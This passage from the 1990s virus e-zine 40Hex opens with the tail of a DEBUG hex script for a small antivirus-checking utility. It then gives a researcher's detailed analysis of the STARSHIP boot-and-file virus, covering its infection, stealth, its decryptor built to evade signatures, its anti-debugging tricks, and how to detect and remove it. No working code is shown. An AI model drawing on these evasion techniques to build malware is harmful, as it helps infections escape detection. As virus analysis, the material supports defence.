  2366. e 02F0  69 6E 67 2E 0D 0A 24 45 72 72 6F 72 20 72 65 61
  2367. e 0300  6C 6C 6F 63 61 74 69 6E 67 20 6D 65 6D 6F 72 79
  2368. e 0310  2E 0D 0A 24 45 6E 74 65 72 20 74 68 65 20 6E 61
  2369. e 0320  6D 65 20 6F 66 20 74 68 65 20 66 69 6C 65 20 74
  2370. e 0330  6F 20 70 72 6F 63 65 73 73 3A 20 24 0D 0A 4E 6F
  2371. e 0340  20 69 6E 70 75 74 20 64 65 74 65 63 74 65 64 2E
  2372. e 0350  20 20 41 62 6F 72 74 69 6E 67 21 0D 0A 24 0D 0A
  2373. e 0360  46 69 6C 65 20 6E 6F 74 20 66 6F 75 6E 64 2E 20
  2374. e 0370  20 41 62 6F 72 74 69 6E 67 2E 0D 0A 24 0D 0A 54
  2375. e 0380  68 65 20 66 69 6C 65 20 69 73 20 7A 65 72 6F 20
  2376. e 0390  62 79 74 65 73 2E 20 20 44 69 65 21 0D 0A 24 0D
  2377. e 03A0  0A 54 68 65 20 66 69 6C 65 20 69 73 20 69 6E 76
  2378. e 03B0  61 6C 69 64 2E 0D 0A 24 0D 0A 43 68 65 63 6B 41
  2379. e 03C0  56 20 72 75 6E 20 63 6F 6D 70 6C 65 74 65 64 2E
  2380. e 03D0  0D 0A 24 0D 0A 0D 0A 54 65 73 74 69 6E 67 20 66
  2381. e 03E0  6F 72 3A 20 24 43 68 65 63 6B 69 6E 67 20 23 00
  2382. e 03F0  00 00 00 00 00 00 00 00 00 00 00 00 24 1B 74 65
  2383. e 0400  73 74 00 1B 65 63 68 6F 20 00 00 00 00 00 00 00
  2384. e 0410  00 00 00 00 20 3E 3E 20 72 65 73 75 6C 74 73 0D
  2385. e 0420  12 70 75 74 61 76 20 3C 20 74 65 73 74 20 3E 20
  2386. e 0430  6E 75 6C 0D 1B 70 6B 7A 69 70 20 2D 21 6F 20 74
  2387. e 0440  6F 6D 72 6F 74 20 74 65 73 74 20 3E 20 6E 75 6C
  2388. e 0450  0D 2F 70 6B 75 6E 7A 69 70 20 74 6F 6D 72 6F 74
  2389. e 0460  20 2D 74 20 7C 20 66 69 6E 64 20 22 41 75 74 68
  2390. e 0470  65 6E 74 69 63 22 20 3E 3E 20 72 65 73 75 6C 74
  2391. e 0480  73 0D 72 65 73 75 6C 74 73 00 74 65 73 74 00 74
  2392. e 0490  6F 6D 72 6F 74 2E 7A 69 70 00 20 1A 1A 1A 1A 1A
  2393. rcx
  2394. 049F
  2395. w
  2396. q
  2397. -------------------------------------------------------------------------------
  2398. 40Hex Number 8 Volume 2 Issue 4                                       File 005
  2399.  
  2400.            STARSHIP - interesting file-boot virus.
  2401.                          Muttik I.G.
  2402.                 (Internet: MIG@politon.msk.su)
  2403.  
  2404.  
  2405.      KEYWORDS
  2406.  
  2407.      Virus, DOS, executable file, masterboot record,
  2408.      resident in memory, encryption.
  2409.  
  2410.  
  2411.      ABSTRACT
  2412.  
  2413. STARSHIP virus (file and boot simultaneously) is described. It
  2414. infects IBM  PC and  compatibles running  DOS. Virus is called
  2415. STARSHIP :  this string can be easily found in the memory dump
  2416. of virus.  Virus infects  masterboot record  on  harddisk  and
  2417. executable files  files created on floppy drives. The virus is
  2418. encrypted. Infected executable files have no descriptor longer
  2419. than 2  bytes. Virus  appears to  have no destructive code, it
  2420. uses  music  and  video  effects  when  active.  The  abnormal
  2421. operation of the infected computers was sometimes detected.
  2422.  
  2423.  
  2424.      INTRODUCTION
  2425.  
  2426.      History of  computer viruses  is very  short.  The  first
  2427. known publications  are dated  with 1984-1985  [1,2]. But  now
  2428. situation in this field changes every day - uncountable number
  2429. of various  computer viruses  are  known  at  present  in  DOS
  2430. operating system.  The variety  of known viruses is fantastic,
  2431. but all  of them  falls into  three  known  categories:  file,
  2432. boot [3,4] and cluster. Active area of the first virus type is
  2433. executable files  and of  the second  type -  boot records  on
  2434. harddisks and  diskettes. The  third category is not yet over-
  2435. populated, the only representative is bulgarian DIR-II virus.
  2436.      Probably the  first virus  which infects  files and  boot
  2437. sectors was  Ghost virus  [5]. This  virus was  discovered  by
  2438. Fridrik Skulason  at Icelandic University. Ghost virus infects
  2439. only COM  files. This virus increases file size by 2351 bytes.
  2440. When active  the Ghost replaces boot sector of infected system
  2441. with a  boot virus  similar to  Ping Pong, but this boot virus
  2442. does  not   have   infection   routine.   The   Ghost   virus,
  2443. consequently, may  be considered  as a file virus with unusual
  2444. active phase.  After some  time appeared Virus-101, Frodo and,
  2445. finally, a  bunch of new viruses was found: Thanksgiving virus
  2446. (V-1),  TEQUILA   and  STARSHIP  (these  type  of  viruses  is
  2447. sometimes called "multi-partite").
  2448.      STARSHIP virus  was found  in  Moscow  in  January  1991.
  2449. Probably this virus was written in the USSR.
  2450.      The living cycle of STARSHIP virus is the following. When
  2451. infected file  is started  it modifies masterboot record (MBR)
  2452. on the harddisk and writes virus on the disk. Thereafter, when
  2453. computer reboots, virus intercepts interrupt vectors 13h (low-
  2454. level disk I/O) and 21h (DOS service). During the reboot virus
  2455. is stored in the videomemory at address BB00:0. It is moved to
  2456. the core  RAM later, when the first program terminates. Now it
  2457. stays resident  and infects any COM/EXE file created on floppy
  2458. drives.
  2459.  
  2460.      1. GENERAL DESCRIPTION
  2461.  
  2462.      Length of STARSHIP virus in memory is 2688 bytes. Size of
  2463. code is 2560 bytes, buffers and variables takes the remainder.
  2464. On harddisk virus takes 3072 bytes (6 sectors * 512 bytes).
  2465.      Virus layout  is shown  in Table.1  and its  memory  dump
  2466. (fragmentary) is  presented  in  Figure.1.  (NOTE:  All  dumps
  2467. presented is  the article  are partial in order to prevent the
  2468. possibility to use for generation of new viruses.)
  2469.      No text  messages except  one  string  ">STARSHIP_1<"  of
  2470. length 12  (found only in memory) were discovered. This string
  2471. can be  found only  in memory, because virus is stored on disk
  2472. and in the infected file in encrypted form.
  2473.      Normally virus stays resident and the size of used memory
  2474. block is  B00h=2816. The beginning of this memory block is the
  2475. Program Segment  Prefix (PSP)  of program  that triggered  the
  2476. installation of virus in the core RAM. Really virus is started
  2477. at offset  80h in  this PSP (consequently, the real virus size
  2478. is: B00h-80h=A80h=2688 bytes).
  2479.      Virus uses  standard interrupts  13h, 20h,  21h, 27h  and
  2480. creates its own interrupts F9h and FCh (see later). When virus
  2481. is already  resident (installed  in the core RAM) it uses only
  2482. 13h and  21h vectors.  Entry points of both interrupt handlers
  2483. can be  easily found  (CS:005F and CS:00C5; here CS represents
  2484. the code segment where virus resides).
  2485.      In the  memory dump of virus one can found the buffer for
  2486. the filename  (see ASCIIZ= 'B:\TMP\DROZFILA.COM' at CS:000D in
  2487. Fig.1).
  2488.      Virus  extensively   uses  its   internal  random  number
  2489. generator. The  random number  seed is  taken from  BIOS timer
  2490. variable  (0:46Ch).   Random  generator   is  used   for   the
  2491. demonstration of  video effect and while creating the infected
  2492. file (change  of size  is random  and virus  code is encrypted
  2493. using random number). The word "random" may be a real motto of
  2494. the described  virus -  it uses  random number  generator very
  2495. frequently.
  2496.      The part  of virus  memory image  is encrypted  using XOR
  2497. function (approximately 60% of total virus size). This section
  2498. is decrypted  and used  only while infecting files (section is
  2499. marked in  Table.1 with the box). After infection of each file
  2500. the XOR  mask is changed, and encryption is performed with the
  2501. new mask.  Described procedure  makes  the  encrypted  section
  2502. volatile and unreadable. This behavior is not used to hide any
  2503. strings in  virus body  (there are  no strings  at all, except
  2504. virus  name)  -  maybe  it  is  implemented  only  to  achieve
  2505. permanent variance.
  2506.      Virus uses  trace capabilities  of processor to determine
  2507. the original  BIOS interrupt  13h entry  point.  Virus  issues
  2508. int 13h with  trace flag  set and  records the  CS:IP when  CS
  2509. becomes greater  or equal  to C800h  (corresponds to  the  ROM
  2510. area). However  this method  seems to be non-universal. I have
  2511. investigated the  process of  disk infection  and  found  that
  2512. rewriting of  MBR sometimes  triggered the  resident antivirus
  2513. utilities (program  TSAFE:  Turbo-Anti  Virus  Ver.6.80A  from
  2514. CARMEL Software Engineering, Israel).
  2515.      While disassembling  the virus  I have found special code
  2516. inserts used  to  fool  disassemblers.  In  most  cases  these
  2517. inserts uses  non-working calls  and  jumps  pointing  on  the
  2518. garbage in  the virus  body. These  inserts are a real problem
  2519. for disassemblers  and I  have not  found one  that managed to
  2520. correctly separate  code and  data (or  code and garbage). The
  2521. intelligent analysis of code is needed, which is not performed
  2522. by  all   available  disassemblers  (including  smart  SOURCER
  2523. ver. 3.07, by V Communications Inc.).
  2524.      I have  carefully examined  the reconstructed  source and
  2525. established that STARSHIP virus appears to have no destructive
  2526. code.
  2527.  
  2528.  
  2529.      2. FILE INFECTION
  2530.  
  2531.      Strategy of  file infection  is the  following. Files are
  2532. infected while  creation of  EXE/COM file  on A:  or B: disks.
  2533. Virus records  file name  in internal buffer (at CS:000D), and
  2534. starts infection  routine when  request to  close the file was
  2535. issued. This  technique is  similar to the method used by Dark
  2536. Avenger virus [3,5,7].
  2537.      The idea  to infect only executable file that are created
  2538. on floppy  disks explains  why STARSHIP does not intercept int
  2539. 24h. This  interrupt is  usually catched by viruses to prevent
  2540. message - "Write  protect error". But when file is created (!)
  2541. on the  floppy disk  it automatically  indicates that the user
  2542. has removed (or will remove) the write protect tab.
  2543.      Change of infected file size is true random (for the same
  2544. file you  can get  many variants  of infection  with different
  2545. size growth). Change of size is typically 2616...2648 bytes.
  2546.      Virus infects  COMMAND.COM file  when it  is  created  on
  2547. floppy disk.  No special  strategy is  used to  infect command
  2548. interpreter - it is infected as a simple .COM file.
  2549.      When infecting executable (only EXE and COM) files, virus
  2550. preserves attribute.  If the file is readonly - this attribute
  2551. remains  unchanged  after  infection.  STARSHIP  examines  the
  2552. executable file  type by its contents, not by extension (tests
  2553. for 5A4Dh  at file  beginning, but  it does  not test  4D5Ah).
  2554. Virus does  not infect  short files  - see Table 2. Virus does
  2555. not infect  the files  that are  already infected.  Buffer  at
  2556. virus end  is used  to read  code beginning  and determine the
  2557. presence of  virus (it  seems to  me that virus may frequently
  2558. regard uninfected  files as infected, because it performs very
  2559. primitive analysis).
  2560.      Virus infection  routine uses  the following  interrupts:
  2561. int F9h (it points on the original int 21h, as set by DOS) and
  2562. int FCh  (points on  original int  13h, as set by BIOS). These
  2563. interrupts are used instead of int 21h and 13h. This technique
  2564. is probably  used to  prevent triggering  of certain antivirus
  2565. utilities. These  utilities often  controls all invokations of
  2566. 21h and 13h interrupts. The infection routine appends virus to
  2567. the end  of executable  file and  adjusts  the  program  entry
  2568. point.
  2569.      Executable files with COM extension are modified by virus
  2570. at first  3 bytes,  which are  replaced with  JMP instruction,
  2571. pointing on  the decryptor.  Original 3  bytes from file start
  2572. are stored at the very end of the infected file (like the body
  2573. of virus these bytes are encrypted with XOR function).
  2574.      After modification  of the  EXE  file  header  new  CS:IP
  2575. points on  the virus decryptor. SS, SP and MINALLOC fields are
  2576. changed. Original  CS, IP,  SS and SP are stored at the end of
  2577. the virus  body at  offset A4Fh  (you cannot fetch these bytes
  2578. directly - they are encrypted).
  2579.      The header  of the  infected EXE  file has  some  special
  2580. features. Instruction  pointer always  follows  the  relation:
  2581. 4<IP<13h. Spacing  between stack  segment and  code segment is
  2582. constant: SS-CS=100h  and  stack  pointer  is  always  set  to
  2583. SP=800h. Moreover,  STARSHIP does  not infect  EXE files  when
  2584. MAXALLOC field  of EXE  header is less than 0FFFFh. Virus does
  2585. not infect files with nonzero overlay number.
  2586.      Virus code  is added  to the end of file in the encrypted
  2587. form.  This  encrypted  code  goes  after  special  decrypting
  2588. program (decryptor). The purpose of decryptor is to decode the
  2589. virus body.
  2590.      Decryptor of  virus body  seems to  be specially designed
  2591. not to  have  a  characteristic  bytes  sequence  (descriptor)
  2592. longer than  2 bytes  (for example:  XOR BH,BH and MOV BL,6 is
  2593. used instead  of MOV BX,0006,  because first commands occupies
  2594. 2-bytes, but  the last takes 3 bytes). In reality this program
  2595. is mixed  with NOPs  and other 1-byte codes, not affecting the
  2596. execution of decryptor. The sequence of operators in main code
  2597. is fixed,  but spacing  between these  operators is  variable.
  2598. Described technique  really eliminates the possibility to find
  2599. virus using search based on certain descriptor, because any 2-
  2600. byte sequences  are found  on the  disk too frequently. Search
  2601. based on  the wildcard  strings must  take into  account  that
  2602. spacing between operators in virus code is variable (from 0 to
  2603. 16 bytes of NOPs and other silly stuff).
  2604.      Moreover, the  decryptor  uses  synonyms  for  code:  for
  2605. example the XCHG AX,SI command has three (!) different machine
  2606. code representations  (0c687h,  0f087h,  96h  means  the  same
  2607. processor directive  -  XCHG AX,SI).  As  well  MOV AX,SP  and
  2608. MOV BX,AX has  two representations. That fact also complicates
  2609. search based on the wildcard strings, producing many different
  2610. wildcards for the same virus.
  2611.      First  the  decryptor  must  determine  its  position  in
  2612. memory, because  all references  in the virus must be relative
  2613. to  the   known   point.   STARSHIP   uses   unusual   method,
  2614. simultaneously suppressing  the attempts  to  trace  execution
  2615. flow of  decryptor with  the use of debugger. Virus issues int
  2616. 03h (it  usually points  on IRET)  and then  reads the  return
  2617. address below (!) the stack pointer SP (LODSW SS:[SI]). If you
  2618. use the  debugger, it will immediately destroy all words below
  2619. the SP, resulting in the malfunction of the rest of decryptor.
  2620. Sometimes instead of int 03h virus uses interrupts 01h/11h/12h
  2621. as the dummy calls.
  2622.      Decryption of  virus code attached to infected executable
  2623. file is done from top addresses to bottom. This sequence makes
  2624. tricky setting of breakpoint after the decryption loop because
  2625. the last  decrypted byte is just below the loop. Hence, if you
  2626. place here  the breakpoint  it will  be  decrypted,  its  code
  2627. (0CCh) will  become garbage  and will  be executed  instead of
  2628. invokation of breakpoint routine.
  2629.      All general  processor registers  are set  to zero  after
  2630. decryption process prior to start of infected program. Segment
  2631. registers are preserved.
  2632.      When  I  used  MS-Windows  or  any  other  graphics  user
  2633. interfaces -  infection of  copied files  does not take place.
  2634. That is  possibly because  virus uses videomemory as temporary
  2635. buffer while  infecting files  and checks the videomode before
  2636. infection.
  2637.  
  2638.      3. DISK INFECTION
  2639.  
  2640.      When decryptor  finished its work it transfers control to
  2641. the disk  infection routine. First this code tests DOS version
  2642. number (virus works only with versions later than 2.0) and the
  2643. presence of video-RAM at BB00:0 (virus physically tests memory
  2644. existence at  this address  via MOV/CMP sequence). Second - it
  2645. tests if  virus is  already resident  (checks if special virus
  2646. memory dispatcher  is present at address 0000:04B0). And third
  2647. - STARSHIP determines the original int 13h entry point in BIOS
  2648. (it traces  the call of int 13h, function 8; this call is used
  2649. to determine  the physical  disk size).  The  fourth  -  virus
  2650. infects the masterboot via direct call of BIOS int 13h.
  2651.      STARSHIP  modifies   MBR  in   only  3  bytes:  head  and
  2652. sector/cylinder of  DOS boot.  Virus  places  its  code  in  6
  2653. consecutive sectors at the disk end (it uses physical disk #1,
  2654. last head,  last track  and last 6 sectors in the last track).
  2655. After modification  of MBR,  boot field  of  active  partition
  2656. points on pseudoDOS boot, the first of used 6 sectors. Dump of
  2657. pseudoDOS boot  is presented  in Figure  2. First  5 bytes  in
  2658. pseudoDOS boot  are equal  to the  original DOS boot beginning
  2659. (0EBh, 034h,  090h, 'MS').  The pseudoDOS  boot  contains  the
  2660. loader of virus code that is located in next 5 sectors. (Note:
  2661. the area at offset 115h..1F9h in pseudoDOS boot is filled with
  2662. garbage).
  2663.      Counter of  reboots (byte)  is located  at offset 1FCh in
  2664. pseudoDOS boot.  This counter is initialized with random value
  2665. in range  0...20h. Sometimes  it is initialized with 0FFh - in
  2666. this  case  the  counter  is  not  incremented  during  reboot
  2667. (probably such  computer cannot  be ill).  The probability  of
  2668. this case is approximately 30%.
  2669.      At offset  1FDh in pseudoDOS boot the XOR mask (byte) can
  2670. be found.  This mask  is used  for  decryption  of  5  sectors
  2671. following pseudoDOS boot (these sectors contains virus body).
  2672.      Moreover, I  have found  in pseudoDOS  boot the code that
  2673. loads and  executes unknown  procedure from  sectors 2...6  on
  2674. head 0  and track  0. Code from these sectors is executed only
  2675. if its  checksum is  valid. This  space between  MBR and first
  2676. partition (it  normally starts  on head 1, track 0) is usually
  2677. unused and  filled with zeros. This area is frequently used by
  2678. some computer viruses [3] (DiskKiller for example). But I have
  2679. not detected any valuable code in these sectors - this unknown
  2680. procedure was probably written only to fool the researchers or
  2681. for futer virus extension.
  2682.      Upon infection virus stores no original MBR copy. It only
  2683. saves changes  -  3  bytes  of  original  DOS  boot  head  and
  2684. sector/cylinder (stored  under XOR  mask inside  5 sectors  of
  2685. virus code). If you want to get these parameters you must read
  2686. XOR mask from pseudoDOS boot, decrypt the virus body and fetch
  2687. necessary 3 bytes from the appropriate positions.
  2688.      There is  another method  to restore original MBR. If you
  2689. perform the  request  to  read  MBR  (AX=201h,  CX=1,  DX=80h,
  2690. ES:BX=buffer) via  int 13h:  virus will read real MBR, restore
  2691. its original  contents and  you will obtain what you want. You
  2692. can save  this MBR  copy on  disk, reboot  from uninfected DOS
  2693. diskette and  write it  back on  harddrive instead of infected
  2694. MBR. This  method works fine and we used it successfully prior
  2695. to creation  of removing utility. The only disadvantage of the
  2696. described method is that it takes too much time.
  2697.  
  2698.  
  2699.      4. REBOOT OF INFECTED COMPUTER
  2700.  
  2701.      When computer  reboots the pseudoDOS boot is executed. It
  2702. loads virus  code in  videomemory (at  address BB00:0000).  PC
  2703. without videomemory  at segment  BB00 are not infected (I have
  2704. no computer  with monochrome  display adapter  so the test was
  2705. not  really   performed).  Then   it  decrypts   the  code  in
  2706. videomemory, intercepts  int 13h  and creates  special  memory
  2707. dispatcher at  address 0000:04B0.  The dispatcher structure is
  2708. shown in Fig.3a.
  2709.      Now all  accesses to  disk are  controlled with the virus
  2710. patch on  interrupt 13h. This code filters all accesses to MBR
  2711. and last  6 sectors  on disk.  The MBR now looks unchanged and
  2712. all writes to last 6 sectors are impossible (error flag is not
  2713. returned).   Described    technique   preserves   virus   from
  2714. modification, since its code is installed in DOS file area.
  2715.      After installation  in videomemory  virus examines if DOS
  2716. interrupts (20h, 21h, 27h) are set. This technique seems to be
  2717. universal :  I have  tested DOS versions 2.0, 2.11, 3.0, 3.30,
  2718. 4.0 and  virus successfully  intercepts DOS  interrupts. Virus
  2719. hanged during reboot only with MS-DOS version 5.00. Section of
  2720. virus implementing  the task  of DOS interception analyses the
  2721. validity of  CS in  the vectors table for DOS interrupts (20h,
  2722. 21h, 27h) to determine if it is safe to intercept DOS vectors.
  2723.      DOS interrupt  21h is  intercepted by STARSHIP before any
  2724. programs can  do the  same from CONFIG.SYS or AUTOEXEC.BAT. So
  2725. any resident  software vaccine  programs  ANTI4US2,  FLOSERUM,
  2726. TSAFE or  others, including programs with driver anatomy would
  2727. be unable to detect the operation of virus.
  2728.      After the  interception of DOS interrupts virus waits for
  2729. the termination  of  first  program.  It  test  the  calls  of
  2730. interrupts 20h,  27h and  of the DOS functions 0, 31h and 4Ch.
  2731. When Exit_to_DOS  request was  issued virus body is moved from
  2732. videomemory to  the core memory. If terminated program remains
  2733. resident virus  expands its  memory block  (glues to  resident
  2734. tail). If  program simply  returns to  DOS (AH=0, AH=4C) virus
  2735. substitutes the exit request with the TSR request (AH=31h) and
  2736. creates its own memory block. At this moment memory dispatcher
  2737. is modified to point on the new interrupt routines in the body
  2738. of virus.  From this moment virus stops controlling interrupts
  2739. 20h and  27h.  It  uses  now  only  13h  and  21h  interrupts.
  2740. Dispatcher layout  after the shift of virus to the core RAM is
  2741. presented in Fig.3b.
  2742.      If the  first loaded program uses graphics - the virus is
  2743. erased from  videomemory, but  it can  survive because  it has
  2744. special restoring procedure (int B0h, at address 0000:02C0, in
  2745. the vectors  table). That  is exotic  -  the  whole  interrupt
  2746. service routine is located in the interrupt table (it occupies
  2747. approximately 3  paragraphs and  covers  interrupts  B0...BB).
  2748. This routine  checks presence  of  virus  in  videomemory  (in
  2749. reality only  one word of videomemory is checked) and if virus
  2750. image was  destroyed all 5 sectors with virus program are read
  2751. to videomemory  and decoded (remember that disk image of virus
  2752. is XOR-encrypted).  Computer hangs  only if  graphics is  used
  2753. simultaneously with  accesses to DOS, but this situation seems
  2754. to  be  exceptional,  because  programs  usually  included  in
  2755. AUTOEXEC.BAT rarely use graphics.
  2756.      The performing of all these tests on the infected machine
  2757. was very  useful and  exciting  when  the  very  first  loaded
  2758. program was DEBUG (you must remove or rename AUTOEXEC.BAT; you
  2759. can also  place DEBUG  as  the  first  line  of  your  current
  2760. AUTOEXEC.BAT). All  virus structures  were easily located. The
  2761. most interesting  were attempts  to  erase  virus  image  from
  2762. videomemory -  virus immediately  restores its  code. In DEBUG
  2763. you can  investigate the  process of virus installation in the
  2764. core RAM.  You only  need to trace the request of DOS function
  2765. 4Ch (terminate) - and you will see how virus code is moved and
  2766. how its memory dispatcher is modified.
  2767.      After the  installation of virus in the core RAM it waits
  2768. for the  creation of any executable files on the floppy drives
  2769. A: and  B:. This  is usually done with DOS "copy" command when
  2770. destination file is located on floppy disk.
  2771.  
  2772.  
  2773.      4. ACTIVE PHASE
  2774.  
  2775.      The evil  happens when  reboots counter reaches 80 (while
  2776. initial reboot  counter is  in range  0..31). Disease  appears
  2777. after few  hours since  reboot and  this delay  depends on the
  2778. disk activity.  Virus plays  music  tones  and  drops  colored
  2779. points (ASCII=250)  without affecting  of  screen  background.
  2780. Each point  and each  tone corresponds  to  one  disk  access.
  2781. Frequency of  tones seems  to be  proportional to  the  seccyl
  2782. parameter (CX) of int 13h. This musical and visual effect does
  2783. not take place in any graphics modes. Colored points appearing
  2784. at random  screen positions  does not  affect  pseudographics.
  2785. Sometimes dots  are substituted  by spaces.  This video effect
  2786. corrupts  the   screen  in   text  mode   resulting   in   the
  2787. impossibility of using intensive disk accesses.
  2788.      When disks  are inactive  all operates correctly. You can
  2789. also use virtual disks or cache without any problems.
  2790.      Reboot temporary suspends virus activity.
  2791.      But remember  that infected  computer will  reach  active
  2792. phase  only  with  approximate  probability  2/3.  In  certain
  2793. infected computers triggering of virus is blocked! Behavior of
  2794. infected computer  depends on  the initial  value  of  reboots
  2795. counter.
  2796.  
  2797.  
  2798.      5. ERRORS AND BUGS
  2799.  
  2800.      When STARSHIP infects harddisk it rewrites 6 last sectors
  2801. on the  disk. The  contents of these sectors are unrecoverably
  2802. lost!
  2803.      Moreover, virus  controls all disk accesses (via int 13h)
  2804. to prevent  the rewrite  of its code (all writes to virus area
  2805. are simply  ignored; error  condition is not returned). But if
  2806. you load  DOS from floppy disk and then modify this restricted
  2807. zone (for  example if  you write file and it occasionally will
  2808. occupy the  last cluster  on the harddisk) - computer will not
  2809. reboot later  and hang.  You will  need  to  recreate  MBR  to
  2810. overcome this problem.
  2811.      I have  determined that  the problem  may appear when the
  2812. first used  program is  MARK (by  TurboPower  Software).  This
  2813. program is  used in  combination with  RELEASE to  remove  all
  2814. resident utilities  that were  loaded after  MARK, to save and
  2815. restore the  interrupt vectors  table and state of EMS memory.
  2816. When MARK remains resident virus glues to its memory block and
  2817. everything is  correct. But  when you start RELEASE - computer
  2818. hangs. This  happens because  RELEASE restores  the interrupts
  2819. table in  its state before (!) shift of virus to the core RAM,
  2820. when virus  was in  videomemory. Consequently, vectors 13h and
  2821. 21h  after   RELEASE  points   on  videomemory   where  is  no
  2822. appropriate handlers  at this  moment -  computer  immediately
  2823. hangs.
  2824.      Probably, if  you replace  your CGA,  EGA or  VGA adaptor
  2825. with MDA, your computer will hang after power-up because there
  2826. will be  no space  to store virus during reboot. (Virus checks
  2827. videomemory existence only once - prior to disk infection.)
  2828.      The use of special restoration procedure at address 0:2C0
  2829. in the  interrupt vectors  table must cause the malfunction of
  2830. computers that  uses vectors  B0...BB  during  reboot.  (These
  2831. vectors are  used by  virus only  during reboot,  when special
  2832. restoration procedure  is located at address 0:2C0. When virus
  2833. goes resident  in conventional  memory all  these vectors  are
  2834. cleared with zeroes!)
  2835.      I have  detected that  some XT  computers  with  RAMDRIVE
  2836. driver  in  the  CONFIG.SYS  did  not  execute  some  programs
  2837. (Harvard Graphics, MS-FORTRAN, QuickBASIC).
  2838.      Some users  have reported the problems with the reboot of
  2839. infected PS/2 model 30.
  2840.      These examples  establishes the  rule - remove virus when
  2841. you  fixed  its  presence.  There  are  no  harmless  viruses.
  2842. Remember: any infected program may produce malfunction of your
  2843. computer!
  2844.  
  2845.  
  2846.      6. STARSHIP DETECTION
  2847.  
  2848.      STARSHIP virus  has one  special feature  - it  does  not
  2849. modify any  executable file  on the  harddisk. So  if you  use
  2850. passive virus detectors (based on the generation of CRC checks
  2851. for the  files) to test your harddisk - you will never get the
  2852. warning about  virus activity.  Each file on the harddisk will
  2853. remain unchanged.  Additionally, if  this utility examines the
  2854. contents of  MBR and  DOS boot  sector, it will not inform you
  2855. about the  infection if it uses simple interrupt 13h. STARSHIP
  2856. will substitute  infected MBR with the original in each access
  2857. to MBR via int 13h.
  2858.      How to  detect the  presence of  STARSHIP? It  is a  real
  2859. problem, because  the search  of infected  files based  on the
  2860. virus descriptor  is impossible.  No standard  software can be
  2861. used to  found  STARSHIP.  Only  specially  designed  scanning
  2862. programs that  analyses the  contents of the EXE header or the
  2863. code at the file entry point are useful.
  2864.      Here follows  some useful  hints  that  may  be  used  to
  2865. determine the presence of STARSHIP virus.
  2866.      If  you  have  antivirus  program  AIDSTEST  by  Lozinsky
  2867. (version later than 115, April 1991) it can scan and desinfect
  2868. files (AIDSTEST  calls virus  "STARSHIP-2616").  Sometimes  it
  2869. refuses to  desinfect file  and reports something like "Cannot
  2870. remove virus. Delete file(Y/N)?".
  2871.      If you  reboot from original DOS diskette and start FDISK
  2872. - it  shows (Display Partition Information) that Start and End
  2873. of DOS partition are equal for the infected harddisk.
  2874.      You can  also detect  the presence  of STARSHIP  virus in
  2875. memory if  you examine  (unassemble) RAM  contents at  address
  2876. 0:4B0 with the help of DEBUG (compare with Fig.3).
  2877.      Typically executable  files has  text messages, tables or
  2878. zeros at  the end.  So you  can visually  examine the  tail of
  2879. executable file  and if  you will see approximately 2.7 kbytes
  2880. of garbage  - that  is suspicious  and  you  may  suggest  the
  2881. presence of  virus. Experienced  programmers may  also inspect
  2882. the  program   entry  point   with  DEBUG   and  analyse   the
  2883. disassembled listing.
  2884.      I also  recommend not  to copy  executable files  on  the
  2885. floppies  directly.   Use  archive  utilities  and  then  copy
  2886. archives on  the floppies.  This sequence saves disk space and
  2887. also preserves  from file  infection. But  this method has one
  2888. disadvantage. If the initial file is already infected you will
  2889. not be  able to  detect the  presence of  virus because  it is
  2890. incorporated into the archive in compressed form.
  2891.      The identification  of STARSHIP  virus is complex because
  2892. it extensively  uses XOR  coding and uses random masks. In the
  2893. infected file 100% of virus is encrypted. On disk - 5/6 and in
  2894. memory - approximately 60%. That is very interesting feature -
  2895. virus is  not available  in pure form, being variable on disk,
  2896. in file and in memory.
  2897.  
  2898.  
  2899.      CONCLUSION
  2900.  
  2901.      To  my   opinion  the   investigated  virus   is  a  very
  2902. interesting program.  Virus code  is highly  optimized on  the
  2903. machine-code level.  That was  possibly done to place the code
  2904. exactly into  5 sectors  on disk.  Virus uses various software
  2905. techniques,   it   has   antitracing   and   antidisassembling
  2906. organization,  it  has  no  descriptor.  These  measures  were
  2907. effective to  some extent,  because I  have some  problems  in
  2908. source reconstruction.  In many  cases the  source seems to be
  2909. not fully adequate.
  2910.      The present  stage of  virus technology  is characterized
  2911. with  the  complexity  of  virus  search,  identification  and
  2912. reconstruction. This  tendency to  create complex and sneakily
  2913. viruses seems  to be  general. For  example remember  the  XOR
  2914. coded 1701  virus group,  the Yankee  Doodle  [5,6]  group  of
  2915. viruses (called  also the  TP group  [3]) that  desinfects all
  2916. debugged infected files [3,5] and smart Century virus [7], SVC
  2917. series that  filters  all  accesses  to  the  directories  and
  2918. presents original file size for each infected file.
  2919.      The name  of virus  (STARSHIP_1) reveals  the idea of the
  2920. author to  extend the series. Be attentive, remember - the use
  2921. of backups may save you a vast of time.
  2922.  
  2923.  
  2924.      ACKNOWLEDGEMENTS
  2925.  
  2926.      I   am   greatly   acknowledged   to   V.V.Snegirev   and
  2927. A.G.Yakovlev for  useful discussions.  I also like to thank my
  2928. wife Helen for her understanding and support.
  2929.      I am aknowledged to Vesselin Bontchev, who read the draft
  2930. variant of the paper and made many valuable comments.
  2931.      I  also  wish  to  acknowledge  the  sponsorship  of  NPO
  2932. "POLITON" (Moscow, USSR).
  2933.  
  2934.      REFERENCES
  2935.  
  2936. [1]  Dewdney A.K.,     In the  game called  Core  War  hostile
  2937.      programs  engage   in  a   battle  of   bits,  Scientific
  2938.      American, v.250,  5 (1984) 15-19.
  2939. [2]  Cohen F.,     Computer viruses:  theory and  experiments,
  2940.      Proc. 2nd  IFIP Int.  Conf. on  Computer Security, (1984)
  2941.      143-158.
  2942. [3]  Bezrukov N.N.,     Computer virusology. Part 1: Main work
  2943.      principles, classification  and catalog of viruses in DOS
  2944.      operating system,  Edition 3.6, date 18.07.1990. (In soft
  2945.      form : files of 745 kbytes total size, 250p. in Russian).
  2946. [4]   McBroom V.,     Computer viruses:  what they are, how to
  2947.      protect against  them,  Software  Protection,  v.VIII,  3
  2948.      (1989) 1-16.
  2949. [5]  Documentation to  VIRUSCAN software  package from  McAfee
  2950.      Assosiates. Version 4.3V66. File-SCANV66.DOC, size-38024.
  2951. [6]  McAfee J.,     The virus cure, Datamation, v.35, 4 (1989)
  2952.      29-40.
  2953. [7]  Documentation to  Turbo Anti-Virus  software package from
  2954.      CARMEL  Software   Engineering.  Version   6.80A.   File-
  2955.      README.DOC, size-65566.
  2956. ==================================================================
  2957.  
  2958. Table 1. Layout and size of virus procedures.
  2959. (the box indicates the encrypted memory section)
  2960.  
  2961.   Size    Offset (hex)             Description
  2962.  
  2963.  
  2964.     3%    000 - 04F      Variables and buffers (see Fig.1)
  2965.     5%    050 - 0C1      Interrupt 13h handler
